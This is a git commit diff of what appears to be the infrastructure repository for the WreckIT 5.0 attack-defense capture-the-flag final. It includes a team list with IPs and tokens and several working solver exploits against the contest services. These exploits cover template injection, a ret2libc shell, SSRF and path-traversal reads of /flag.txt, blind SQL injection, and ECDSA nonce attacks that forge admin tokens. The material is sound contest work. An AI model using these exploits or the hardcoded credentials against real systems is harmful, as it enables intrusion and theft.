Initial commit
This commit is contained in:
+10
@@ -0,0 +1,10 @@
|
|||||||
|
lib
|
||||||
|
lib64
|
||||||
|
bin
|
||||||
|
pyenv.cfg
|
||||||
|
receiver/bin
|
||||||
|
receiver/lib
|
||||||
|
receiver/lib64
|
||||||
|
receiver/pyenv.cfg
|
||||||
|
receiver/include
|
||||||
|
receiver/pwntools-doc
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
MIT License
|
||||||
|
|
||||||
|
Copyright (c) 2023 rendi
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
||||||
@@ -0,0 +1,16 @@
|
|||||||
|
# wreckit-5.0-final
|
||||||
|
|
||||||
|
## challenges
|
||||||
|
|
||||||
|
| challenges | author | category |
|
||||||
|
| ---------- | ----------- | -------- |
|
||||||
|
| poke | jagungrebus | web |
|
||||||
|
| wanderer | ZeroEXP | web |
|
||||||
|
| niko | hanz0 | pwn |
|
||||||
|
| blinkpdf | wondPing | crypto |
|
||||||
|
|
||||||
|
## how-to-run
|
||||||
|
|
||||||
|
````
|
||||||
|
python3 starter.py
|
||||||
|
````
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
3 Fidethus 54.179.25.137 Zp4y9X3T1V
|
||||||
|
4 Men Who Cry 54.255.181.131 8F5G7H2Q6R
|
||||||
|
5 bangorkan dulu le 18.143.108.133 C4D5E6F7G8
|
||||||
|
6 me encanta cocinar 54.169.243.246 J3K4L5M6N7
|
||||||
|
7 PETIR - That Time I Got Reincarnated as a WreckIT Player Official 13.212.142.212 P1Q2R3S4T5
|
||||||
|
8 Girls Band Cry 54.179.130.178 V7W8X9Y0Z2
|
||||||
|
9 SNI - FLAVATO 52.221.251.25 OIJA92QOD4
|
||||||
|
10 Big Brain Kidz 18.143.158.116 B5C6D7E8F9
|
||||||
|
11 mas Takumi Silahkan maju untuk membayar tagihan listrik 54.254.232.40 H1I2J3K4L5
|
||||||
|
12 sehad 13.212.60.169 R7S8T9U0V
|
||||||
|
|
||||||
|
|
||||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,7 @@
|
|||||||
|
import requests, urllib
|
||||||
|
import sys
|
||||||
|
|
||||||
|
HOST = sys.argv[1]
|
||||||
|
PORT = 10000
|
||||||
|
|
||||||
|
print(requests.get(f'http://{HOST}:{PORT}/art/' + urllib.parse.quote_plus('#{File.read([47, 102, 108, 97, 103, 46, 116, 120, 116].pack("c*"))}')).text)
|
||||||
@@ -0,0 +1,42 @@
|
|||||||
|
from pwn import *
|
||||||
|
import sys
|
||||||
|
|
||||||
|
context.arch = 'amd64'
|
||||||
|
|
||||||
|
HOST = sys.argv[1]
|
||||||
|
PORT = 22000
|
||||||
|
|
||||||
|
def conn():
|
||||||
|
return remote(HOST, PORT, level='warn')
|
||||||
|
|
||||||
|
def main():
|
||||||
|
global r
|
||||||
|
r = conn()
|
||||||
|
r.recvline()
|
||||||
|
|
||||||
|
junk = b"A" * (0x40 + 8)
|
||||||
|
pop_rdi = p64(0x401243)
|
||||||
|
plt_puts = p64(0x401060)
|
||||||
|
got_puts = p64(0x403fd8)
|
||||||
|
main_addr = p64(0x4011a9)
|
||||||
|
ret = p64(0x40101a)
|
||||||
|
|
||||||
|
payload = junk + pop_rdi + got_puts + plt_puts + main_addr
|
||||||
|
|
||||||
|
r.sendline(payload)
|
||||||
|
leak = u64(r.recvline(False).ljust(8,b"\x00"))
|
||||||
|
libc = leak - 0x84420
|
||||||
|
system = libc + 0x52290
|
||||||
|
binsh = libc + 0x1b45bd
|
||||||
|
# print(f"puts @ {hex(leak)}")
|
||||||
|
# print(f"system @ {hex(system)}")
|
||||||
|
# print(f"binsh @ {hex(binsh)}")
|
||||||
|
|
||||||
|
payload = junk + ret + pop_rdi + p64(binsh) + p64(system) + main_addr
|
||||||
|
r.sendline(payload)
|
||||||
|
r.sendline(b"echo 1337")
|
||||||
|
r.recvuntil(b"1337")
|
||||||
|
r.sendline(b"cat /flag.txt")
|
||||||
|
print(r.recvuntil(b'}').decode().strip())
|
||||||
|
|
||||||
|
main()
|
||||||
@@ -0,0 +1,131 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
from fastecdsa.curve import Curve
|
||||||
|
from fastecdsa.point import Point
|
||||||
|
from base64 import urlsafe_b64decode, urlsafe_b64encode
|
||||||
|
from zlib import crc32
|
||||||
|
|
||||||
|
import requests
|
||||||
|
import json
|
||||||
|
import re
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
|
||||||
|
HOST = sys.argv[1]
|
||||||
|
PORT = 14000
|
||||||
|
|
||||||
|
url = f"http://{HOST}:{PORT}"
|
||||||
|
|
||||||
|
r = requests.get(f"{url}/params").text
|
||||||
|
r = r.replace("<pre>", "").replace("</pre>", "")
|
||||||
|
params = json.loads(r)
|
||||||
|
# print(params)
|
||||||
|
|
||||||
|
C = Curve(
|
||||||
|
"burvesigner",
|
||||||
|
params["p"],
|
||||||
|
params["a"],
|
||||||
|
params["b"],
|
||||||
|
params["n"],
|
||||||
|
params["G"][0],
|
||||||
|
params["G"][1],
|
||||||
|
)
|
||||||
|
G = C.G
|
||||||
|
Y = Point(params["Y"][0], params["Y"][1], C)
|
||||||
|
|
||||||
|
b64p = lambda x: x + b"=" * (-len(x) % 4)
|
||||||
|
b64u = lambda x: x.rstrip(b"=")
|
||||||
|
b64e = lambda x: b64u(urlsafe_b64encode(x))
|
||||||
|
b64d = lambda x: urlsafe_b64decode(b64p(x))
|
||||||
|
|
||||||
|
|
||||||
|
def get_token():
|
||||||
|
r = requests.post(url, data={"username": "guest", "password": "guest"}).cookies
|
||||||
|
return r["token"]
|
||||||
|
|
||||||
|
|
||||||
|
token1 = get_token()
|
||||||
|
token2 = get_token()
|
||||||
|
# print(token1)
|
||||||
|
# print(token2)
|
||||||
|
|
||||||
|
sig1 = token1.split(".")[1]
|
||||||
|
sig2 = token2.split(".")[1]
|
||||||
|
|
||||||
|
t = 112 // 8
|
||||||
|
shift_u = pow(2, 112 - 64)
|
||||||
|
|
||||||
|
|
||||||
|
def from_bytes(data):
|
||||||
|
return int.from_bytes(data, "little")
|
||||||
|
|
||||||
|
|
||||||
|
def to_bytes(num):
|
||||||
|
return int.to_bytes(num, t, "little")
|
||||||
|
|
||||||
|
|
||||||
|
sig1dec = urlsafe_b64decode(sig1)
|
||||||
|
arr1 = [sig1dec[t * i : t * (i + 1)] for i in range(3)]
|
||||||
|
Rx1, Ry1, s1 = map(from_bytes, arr1)
|
||||||
|
|
||||||
|
sig2dec = urlsafe_b64decode(sig2)
|
||||||
|
arr2 = [sig2dec[t * i : t * (i + 1)] for i in range(3)]
|
||||||
|
Rx2, Ry2, s2 = map(from_bytes, arr2)
|
||||||
|
|
||||||
|
R1 = Point(Rx1, Ry1, C)
|
||||||
|
R2 = Point(Rx2, Ry2, C)
|
||||||
|
|
||||||
|
# bf diff
|
||||||
|
for bf in range(1, 2**20):
|
||||||
|
diff = bf * shift_u
|
||||||
|
if R1 + G * diff == R2:
|
||||||
|
# print(bf, diff)
|
||||||
|
break
|
||||||
|
|
||||||
|
|
||||||
|
def apa(msg):
|
||||||
|
return crc32(msg)
|
||||||
|
|
||||||
|
|
||||||
|
def fake_sign(msg, x):
|
||||||
|
k = 555555
|
||||||
|
R = k * C.G
|
||||||
|
s = (apa(msg) - x * R.x) * pow(k, -1, C.q) % C.q
|
||||||
|
sig = b"".join(map(to_bytes, [R.x, R.y, s]))
|
||||||
|
return urlsafe_b64encode(sig)
|
||||||
|
|
||||||
|
|
||||||
|
def dup_verify(msg, sig):
|
||||||
|
assert len(sig) == 4 * t
|
||||||
|
sig = urlsafe_b64decode(sig)
|
||||||
|
arr = [sig[t * i : t * (i + 1)] for i in range(3)]
|
||||||
|
Rx, Ry, s = map(from_bytes, arr)
|
||||||
|
R = Point(Rx, Ry, C)
|
||||||
|
return apa(msg) * C.G == s * R + Y * R.x
|
||||||
|
|
||||||
|
|
||||||
|
payload = b64e(
|
||||||
|
json.dumps(
|
||||||
|
{"user": "admin", "role": "admin", "exp": int(time.time()) + 300}
|
||||||
|
).encode()
|
||||||
|
)
|
||||||
|
|
||||||
|
h1 = apa(token1.split(".")[0].encode())
|
||||||
|
h2 = apa(token2.split(".")[0].encode())
|
||||||
|
h3 = apa(payload)
|
||||||
|
|
||||||
|
k1 = (Rx1 * h2 - Rx1 * s2 * diff - Rx2 * h1) * pow(Rx1 * s2 - s1 * Rx2, -1, C.q) % C.q
|
||||||
|
priv = (h1 - s1 * k1) * pow(Rx1, -1, C.q) % C.q
|
||||||
|
sig3 = fake_sign(payload, priv)
|
||||||
|
# print(k1, priv, to_bytes(priv))
|
||||||
|
|
||||||
|
token3 = payload + b"." + sig3
|
||||||
|
token3 = token3.decode()
|
||||||
|
# print(token3)
|
||||||
|
|
||||||
|
r = requests.get(url, cookies={"token": token3}).text
|
||||||
|
if "flashes" in r:
|
||||||
|
print("failed")
|
||||||
|
exit(1)
|
||||||
|
|
||||||
|
flag = re.findall(r'Welcome, admin! (.+)</p>', r)[0]
|
||||||
|
print(flag)
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
k1 = t1 * 2^shift + junk
|
||||||
|
k2 = (t1 + diff) * 2^shift + junk
|
||||||
|
k2 - k1 = diff (2^shift)
|
||||||
|
|
||||||
|
bf: diff (2^shift)
|
||||||
|
|
||||||
|
for bf in range(...):
|
||||||
|
if R1 + G * bf * (2^shift) == R2:
|
||||||
|
found
|
||||||
|
|
||||||
|
--------------------------------
|
||||||
|
|
||||||
|
s1 (k1) = h1 - r1 x
|
||||||
|
s2 (k1 + diff) = h2 - r2 x
|
||||||
|
|
||||||
|
(h1 - s1 k1) / r1 = x
|
||||||
|
(h2 - s2 k1 - s2 diff) / r2 = x
|
||||||
|
|
||||||
|
(h1 - s1 k1) r2 = (h2 - s2 k1 - s2 diff) r1
|
||||||
|
r2 h1 - r2 s1 k1 = r1 h2 - r1 s2 k1 - r1 s2 diff
|
||||||
|
r1 s2 k1 - r2 s1 k1 = r1 h2 - r1 s2 diff - r2 h1
|
||||||
|
k1 (r1 s2 - s1 r2) = r1 h2 - r1 s2 diff - r2 h1
|
||||||
|
k1 = (r1 h2 - r1 s2 diff - r2 h1) / (r1 s2 - s1 r2)
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
import requests
|
||||||
|
import sys
|
||||||
|
|
||||||
|
HOST = sys.argv[1]
|
||||||
|
PORT = 21000
|
||||||
|
|
||||||
|
print(requests.post(f"http://{HOST}:{PORT}/crawlback.php", data={'url': 'file:///flag.txt'}).text)
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
import requests, random, string, base64, gzip, zlib, json, sys
|
||||||
|
|
||||||
|
HOST = sys.argv[1]
|
||||||
|
PORT = 16000
|
||||||
|
|
||||||
|
def random_string(length):
|
||||||
|
charset = string.ascii_uppercase + string.ascii_lowercase + string.digits
|
||||||
|
return ''.join(random.choice(charset) for i in range(length))
|
||||||
|
|
||||||
|
def exploit():
|
||||||
|
sess = requests.Session()
|
||||||
|
|
||||||
|
## register
|
||||||
|
username = random_string(5)
|
||||||
|
password = random_string(5)
|
||||||
|
r = sess.post(f"http://{HOST}:{PORT}/auth/register", data={"username":username,"password": password}, allow_redirects=False)
|
||||||
|
|
||||||
|
## login
|
||||||
|
r = sess.post(f"http://{HOST}:{PORT}/auth/login", data={"username":username,"password": password}, allow_redirects=False)
|
||||||
|
|
||||||
|
## exploit python
|
||||||
|
content = {"provider": "python","url":" file:///flag.txt"}
|
||||||
|
files = {"file": ("visit", b"\x00\x02"+gzip.compress(zlib.compress(json.dumps(content).encode())))}
|
||||||
|
r = sess.post(f"http://{HOST}:{PORT}/dashboard/fetch_by_file", files=files)
|
||||||
|
b64_string = r.text
|
||||||
|
b64_string += "=" * ((4 - len(b64_string) % 4) % 4)
|
||||||
|
print(base64.b64decode(b64_string).decode())
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
exploit()
|
||||||
@@ -0,0 +1,54 @@
|
|||||||
|
import requests
|
||||||
|
|
||||||
|
HOST = "http://localhost:12000"
|
||||||
|
|
||||||
|
def login():
|
||||||
|
token = requests.post(f"{HOST}/api/login",json={"email":"checker@gemasnotes.id", "password":"uRIqCvJ<IGb;VDT14"}).json()["token"]
|
||||||
|
return token
|
||||||
|
|
||||||
|
def send_request(payload,token):
|
||||||
|
res = requests.post(f"{HOST}/api/notes/count", data=payload, headers={"Authorization": f"Bearer {token}","Content-Type":"application/json"})
|
||||||
|
if res.status_code == 401:
|
||||||
|
new_token = login()
|
||||||
|
return send_request(payload, new_token)
|
||||||
|
return res.json()["count"], token
|
||||||
|
|
||||||
|
def attack(idx, char):
|
||||||
|
global token
|
||||||
|
|
||||||
|
sql_payload = f"' UNION SELECT IF(ASCII(SUBSTRING((SELECT fl4gg FROM rewards), {idx}, 1)) > {ord(char)},31337,0) ORDER BY 1 DESC#"
|
||||||
|
final_payload = '{"count_by":"title","keyword":"'+ sql_payload +'","keyword": "hehe"}'
|
||||||
|
result,token = send_request(final_payload, token)
|
||||||
|
|
||||||
|
if result == 31337:
|
||||||
|
return True
|
||||||
|
return False
|
||||||
|
|
||||||
|
def solve():
|
||||||
|
charset = "0123456789abcdef"
|
||||||
|
flag = ""
|
||||||
|
idx = 10
|
||||||
|
for i in range(32):
|
||||||
|
lo = 0
|
||||||
|
hi = len(charset)
|
||||||
|
|
||||||
|
while lo <= hi:
|
||||||
|
mid = lo + (hi - lo) // 2
|
||||||
|
char = charset[mid]
|
||||||
|
|
||||||
|
if attack(idx,char):
|
||||||
|
lo = mid + 1
|
||||||
|
else:
|
||||||
|
hi = mid - 1
|
||||||
|
|
||||||
|
flag += charset[lo]
|
||||||
|
print(f"CHAR {idx} | {charset[lo]}")
|
||||||
|
idx += 1
|
||||||
|
|
||||||
|
return "WRECKIT50{"+flag+"}"
|
||||||
|
|
||||||
|
if __name__=="__main__":
|
||||||
|
global token
|
||||||
|
token = login()
|
||||||
|
flag = solve()
|
||||||
|
print(flag)
|
||||||
@@ -0,0 +1,37 @@
|
|||||||
|
import requests
|
||||||
|
|
||||||
|
HOST = "http://localhost:12000"
|
||||||
|
|
||||||
|
def login():
|
||||||
|
token = requests.post(f"{HOST}/api/login",json={"email":"checker@gemasnotes.id", "password":"uRIqCvJ<IGb;VDT14"}).json()["token"]
|
||||||
|
return token
|
||||||
|
|
||||||
|
def send_request(payload,token):
|
||||||
|
res = requests.post(f"{HOST}/api/notes/count", data=payload, headers={"Authorization": f"Bearer {token}","Content-Type":"application/json"})
|
||||||
|
if res.status_code == 401:
|
||||||
|
new_token = login()
|
||||||
|
return send_request(payload, new_token)
|
||||||
|
return res.json()["count"], token
|
||||||
|
|
||||||
|
def attack():
|
||||||
|
token = login()
|
||||||
|
charset = "0123456789abcdef"
|
||||||
|
|
||||||
|
flag = ""
|
||||||
|
idx = 10
|
||||||
|
for i in range(32):
|
||||||
|
for c in list(charset):
|
||||||
|
sql_payload = f"' UNION SELECT IF(ASCII(SUBSTRING((SELECT fl4gg FROM rewards), {idx}, 1)) = {ord(c)},31337,0) ORDER BY 1 DESC#"
|
||||||
|
final_payload = '{"count_by":"title","keyword":"'+ sql_payload +'","keyword": "hehe"}'
|
||||||
|
result,token = send_request(final_payload, token)
|
||||||
|
if result == 31337:
|
||||||
|
flag += c
|
||||||
|
idx += 1
|
||||||
|
print(f"[+] CHAR {idx} | {c}")
|
||||||
|
break
|
||||||
|
|
||||||
|
return "WRECKIT50{"+flag+"}"
|
||||||
|
|
||||||
|
if __name__=="__main__":
|
||||||
|
flag = attack()
|
||||||
|
print(flag)
|
||||||
@@ -0,0 +1,33 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
from subprocess import check_output
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
def execute(payload):
|
||||||
|
with open("payload", "wb") as f:
|
||||||
|
f.write(payload)
|
||||||
|
|
||||||
|
output = check_output(["./hirnfick", "payload"])[13:]
|
||||||
|
return output
|
||||||
|
|
||||||
|
def enc(s):
|
||||||
|
final = b""
|
||||||
|
for c in s:
|
||||||
|
final += b"+" * c
|
||||||
|
final += b">"
|
||||||
|
return final
|
||||||
|
|
||||||
|
payload = b"<" * 0x90
|
||||||
|
payload += b"+" * (0x20)
|
||||||
|
payload += b">"
|
||||||
|
payload += b"+" * (0x5e-0x22)
|
||||||
|
payload += b">"
|
||||||
|
payload += b"---"
|
||||||
|
payload += b">" * (0x90-2-0x20)
|
||||||
|
payload += b"+"
|
||||||
|
payload += b">" * 0x20
|
||||||
|
payload += enc(b"cat /flag.txt")
|
||||||
|
|
||||||
|
# payload += b".>" * 8
|
||||||
|
|
||||||
|
out = execute(payload)
|
||||||
|
print(hexdump(out))
|
||||||
@@ -0,0 +1,85 @@
|
|||||||
|
import hmac
|
||||||
|
from base64 import urlsafe_b64encode, urlsafe_b64decode
|
||||||
|
from hashlib import sha224, sha256, sha384, sha512
|
||||||
|
from ecdsa import ecdsa, SigningKey, VerifyingKey, NIST256p, NIST224p, NIST384p, NIST521p
|
||||||
|
|
||||||
|
allowed_curve = [
|
||||||
|
NIST224p,
|
||||||
|
NIST256p,
|
||||||
|
NIST384p,
|
||||||
|
NIST521p
|
||||||
|
]
|
||||||
|
|
||||||
|
hashfunc = [
|
||||||
|
sha224,
|
||||||
|
sha256,
|
||||||
|
sha384,
|
||||||
|
sha512
|
||||||
|
]
|
||||||
|
|
||||||
|
key_size = [28, 32, 48, 66]
|
||||||
|
signature_size = [56, 64, 96, 132]
|
||||||
|
|
||||||
|
|
||||||
|
class PastaSigner:
|
||||||
|
def __init__(self, secret: bytes, version: int):
|
||||||
|
self.purpose = 'public'
|
||||||
|
if version > 4 or version < 1:
|
||||||
|
version = 1
|
||||||
|
self.version = version
|
||||||
|
self.hashfunc = hashfunc[self.version - 1]
|
||||||
|
self.key_size = key_size[self.version - 1]
|
||||||
|
self.priv = SigningKey.from_string(secret[:self.key_size], curve=allowed_curve[self.version - 1])
|
||||||
|
|
||||||
|
def serialize(self, data: bytes, sig):
|
||||||
|
token = 'v' + str(self.version) + '.'
|
||||||
|
token += self.purpose + '.'
|
||||||
|
token += urlsafe_b64encode(data + sig).decode().replace('=', '')
|
||||||
|
return token
|
||||||
|
|
||||||
|
def sign(self, data: str):
|
||||||
|
data = data.encode()
|
||||||
|
pub = self.priv.get_verifying_key().to_string()
|
||||||
|
h = self.hashfunc(data + pub).digest()
|
||||||
|
nonce = hmac.new(self.priv.to_string(), data, self.hashfunc).hexdigest()
|
||||||
|
sig = self.priv.sign_digest(h, k=int(nonce, 16))
|
||||||
|
|
||||||
|
return self.serialize(data + pub, sig)
|
||||||
|
|
||||||
|
|
||||||
|
class PastaVerifier:
|
||||||
|
|
||||||
|
def __init__(self, secret):
|
||||||
|
self.purpose = 'public'
|
||||||
|
self.secret = secret
|
||||||
|
|
||||||
|
def deserialize(self, data: bytes):
|
||||||
|
try:
|
||||||
|
version, purpose, payload = data.split(b'.')
|
||||||
|
version = int(version.replace(b'v', b''))
|
||||||
|
if version > 4 or version < 1:
|
||||||
|
return False
|
||||||
|
self.version = version
|
||||||
|
self.hashfunc = hashfunc[self.version - 1]
|
||||||
|
self.key_size = key_size[self.version - 1]
|
||||||
|
self.priv = SigningKey.from_string(self.secret[:self.key_size], curve=allowed_curve[self.version - 1])
|
||||||
|
|
||||||
|
raw_data = urlsafe_b64decode(payload + (b'==' * 2))
|
||||||
|
size = signature_size[self.version - 1]
|
||||||
|
signature = raw_data[-size:]
|
||||||
|
public_key = raw_data[-size * 2:-size]
|
||||||
|
message = raw_data[:-size]
|
||||||
|
|
||||||
|
return message, public_key, signature
|
||||||
|
except Exception as e:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def verify(self, token: str):
|
||||||
|
deserialized = self.deserialize(token.encode())
|
||||||
|
if deserialized:
|
||||||
|
message, _, signature = deserialized
|
||||||
|
h = self.hashfunc(message).digest()
|
||||||
|
verifier = self.priv.get_verifying_key()
|
||||||
|
return verifier.verify_digest(signature, h)
|
||||||
|
|
||||||
|
return False
|
||||||
@@ -0,0 +1,129 @@
|
|||||||
|
import json
|
||||||
|
import os
|
||||||
|
import requests
|
||||||
|
from sage.all import *
|
||||||
|
from Crypto.Util.number import *
|
||||||
|
from Crypto.Util.strxor import strxor
|
||||||
|
from hashlib import sha512
|
||||||
|
from base64 import urlsafe_b64decode, urlsafe_b64encode
|
||||||
|
from pasta import PastaSigner, PastaVerifier
|
||||||
|
|
||||||
|
HOST = "10.100.101.102:13000"
|
||||||
|
# HOST = "0.0.0.0:8000"
|
||||||
|
|
||||||
|
|
||||||
|
def register(username):
|
||||||
|
r = requests.post('http://{}/register'.format(HOST), json={'username': username, 'password': '123'})
|
||||||
|
print(r.json())
|
||||||
|
|
||||||
|
|
||||||
|
def login(username):
|
||||||
|
r = requests.post('http://{}/auth?version=4'.format(HOST), json={'username': username, 'password': '123'})
|
||||||
|
token = r.json()['token']
|
||||||
|
|
||||||
|
return token
|
||||||
|
|
||||||
|
|
||||||
|
def get_flag(token):
|
||||||
|
r = requests.get('http://{}/flag'.format(HOST), headers={'Authorization': 'Bearer {}'.format(token)})
|
||||||
|
return r.json()
|
||||||
|
|
||||||
|
|
||||||
|
secret = b'\x00' + os.urandom(65)
|
||||||
|
signer = PastaSigner(secret, 4)
|
||||||
|
verifier = PastaVerifier(secret)
|
||||||
|
|
||||||
|
|
||||||
|
sigs = []
|
||||||
|
n = 110
|
||||||
|
for i in range(n):
|
||||||
|
username = "pasta-{}".format(i)
|
||||||
|
register(username)
|
||||||
|
token = login(username)
|
||||||
|
sigs.append(token.encode())
|
||||||
|
# sigs.append(signer.sign(json.dumps({"username": username, "role": "user"})).encode())
|
||||||
|
|
||||||
|
|
||||||
|
hs = []
|
||||||
|
rs = []
|
||||||
|
ss = []
|
||||||
|
|
||||||
|
for i in range(n):
|
||||||
|
_, _, sig = sigs[i].split(b".")
|
||||||
|
raw_data = urlsafe_b64decode(sig + (b'==' * 2))
|
||||||
|
size = 132
|
||||||
|
signature = raw_data[-size:]
|
||||||
|
public_key = raw_data[-size * 2:-size]
|
||||||
|
message = raw_data[:-size]
|
||||||
|
|
||||||
|
r = bytes_to_long(signature[:66])
|
||||||
|
s = bytes_to_long(signature[66:])
|
||||||
|
|
||||||
|
hs.append(bytes_to_long(sha512(message).digest()))
|
||||||
|
rs.append(r)
|
||||||
|
ss.append(s)
|
||||||
|
|
||||||
|
|
||||||
|
h1 = int(hs[0])
|
||||||
|
r1 = int(rs[0])
|
||||||
|
s1 = int(ss[0])
|
||||||
|
|
||||||
|
captured = []
|
||||||
|
for i in range(len(hs)):
|
||||||
|
captured.append((int(hs[i]), int(rs[i]), int(ss[i])))
|
||||||
|
|
||||||
|
order = 0x01fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa51868783bf2f966b7fcc0148f709a5d03bb5c9b8899c47aebb6fb71e91386409
|
||||||
|
|
||||||
|
matrix = []
|
||||||
|
nonce_bit = 512 # bit size of nonce
|
||||||
|
|
||||||
|
i = 0
|
||||||
|
n = len(captured) + 2
|
||||||
|
|
||||||
|
max_nonce = 2**nonce_bit
|
||||||
|
|
||||||
|
for signature in captured:
|
||||||
|
|
||||||
|
matrix.append([0] * n)
|
||||||
|
matrix[i][i] = order
|
||||||
|
|
||||||
|
i += 1
|
||||||
|
|
||||||
|
matrix.append([0] * n)
|
||||||
|
matrix.append([0] * n)
|
||||||
|
|
||||||
|
i = 0
|
||||||
|
for signature in captured:
|
||||||
|
h, r, s = signature
|
||||||
|
|
||||||
|
inv_s = inverse_mod(s, order)
|
||||||
|
|
||||||
|
matrix[n - 2][i] = r * inv_s
|
||||||
|
matrix[n - 1][i] = h * inv_s
|
||||||
|
|
||||||
|
i += 1
|
||||||
|
|
||||||
|
matrix[n - 2][n - 2] = int(max_nonce) / order
|
||||||
|
matrix[n - 2][n - 1] = 0
|
||||||
|
matrix[n - 1][n - 2] = 0
|
||||||
|
matrix[n - 1][n - 1] = max_nonce
|
||||||
|
|
||||||
|
print("LLL")
|
||||||
|
|
||||||
|
B = Matrix(QQ, n, n, matrix)
|
||||||
|
L = B.LLL()
|
||||||
|
|
||||||
|
possible_d = []
|
||||||
|
for row in list(L):
|
||||||
|
k1 = int(abs(row[0]))
|
||||||
|
if k1 != 0 and k1 != max_nonce and k1 < max_nonce:
|
||||||
|
d = (k1 * s1 - h1) * inverse_mod(r1, order) % order
|
||||||
|
|
||||||
|
possible_d.append('00' + long_to_bytes(d).hex())
|
||||||
|
|
||||||
|
# assert secret.hex() in possible_d
|
||||||
|
|
||||||
|
for d in possible_d:
|
||||||
|
fake_signer = PastaSigner(bytes.fromhex(d), 4)
|
||||||
|
token = fake_signer.sign(json.dumps({"username": "pwned", "role": "admin"}))
|
||||||
|
print(get_flag(token))
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
import requests
|
||||||
|
import sys
|
||||||
|
|
||||||
|
HOST = sys.argv[1]
|
||||||
|
PORT = 20000
|
||||||
|
|
||||||
|
print(requests.get(f"http://{HOST}:{PORT}/download?filename=/flag.txt").text)
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
/flag.txt
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
import requests
|
||||||
|
|
||||||
|
url = f'http://localhost:11000?type=file'
|
||||||
|
files = {'file': open('path', 'rb').read()}
|
||||||
|
r = requests.post(url, files=files, timeout=5)
|
||||||
|
print(r.json())
|
||||||
@@ -0,0 +1,34 @@
|
|||||||
|
# Add Docker's official GPG key:
|
||||||
|
sudo apt-get update
|
||||||
|
sudo apt-get install ca-certificates curl -y
|
||||||
|
sudo install -m 0755 -d /etc/apt/keyrings
|
||||||
|
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc
|
||||||
|
sudo chmod a+r /etc/apt/keyrings/docker.asc
|
||||||
|
|
||||||
|
# Add the repository to Apt sources:
|
||||||
|
echo \
|
||||||
|
"deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \
|
||||||
|
$(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \
|
||||||
|
sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
|
||||||
|
sudo apt-get update
|
||||||
|
|
||||||
|
sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin docker-compose -y
|
||||||
|
|
||||||
|
sudo snap install docker
|
||||||
|
|
||||||
|
git clone https://rafliher:xx@github.com/rafliher/wreckitattdef-node.git
|
||||||
|
cd wreckitattdef-node
|
||||||
|
|
||||||
|
tmux new
|
||||||
|
|
||||||
|
sudo python3 starter.py | sudo tee -a /var/log/node.log
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
cd wreckitattdef-node
|
||||||
|
git pull https://rafliher:xx@github.com/rafliher/wreckitattdef-node.git
|
||||||
|
sudo docker compose -f services/docker-compose.yml up --build -d
|
||||||
|
sudo docker compose -f services/docker-compose.yml up --build --force-recreate -d
|
||||||
|
|
||||||
|
sudo python3 starter.py | sudo tee -a /var/log/node.log
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
home = /usr/bin
|
||||||
|
include-system-site-packages = false
|
||||||
|
version = 3.12.3
|
||||||
|
executable = /usr/bin/python3.12
|
||||||
|
command = /usr/bin/python3 -m venv /home/ubuntu/wreckitattdef-node
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
.env
|
||||||
|
__pycache__/
|
||||||
|
|
||||||
|
# Ignore flags and history
|
||||||
|
history/*.txt
|
||||||
@@ -0,0 +1,40 @@
|
|||||||
|
from .Challenge import Challenge
|
||||||
|
|
||||||
|
import io
|
||||||
|
import pandas as pd
|
||||||
|
import requests
|
||||||
|
import re
|
||||||
|
|
||||||
|
class Art(Challenge):
|
||||||
|
flag_location = 'flags/art.txt'
|
||||||
|
history_location = 'history/art.txt'
|
||||||
|
|
||||||
|
|
||||||
|
def distribute(self, flag):
|
||||||
|
try:
|
||||||
|
with open(self.flag_location, 'w') as f:
|
||||||
|
f.write(flag)
|
||||||
|
|
||||||
|
with open(self.history_location, 'a') as f:
|
||||||
|
f.write(flag + '\n')
|
||||||
|
|
||||||
|
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception as e:
|
||||||
|
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
|
||||||
|
return False
|
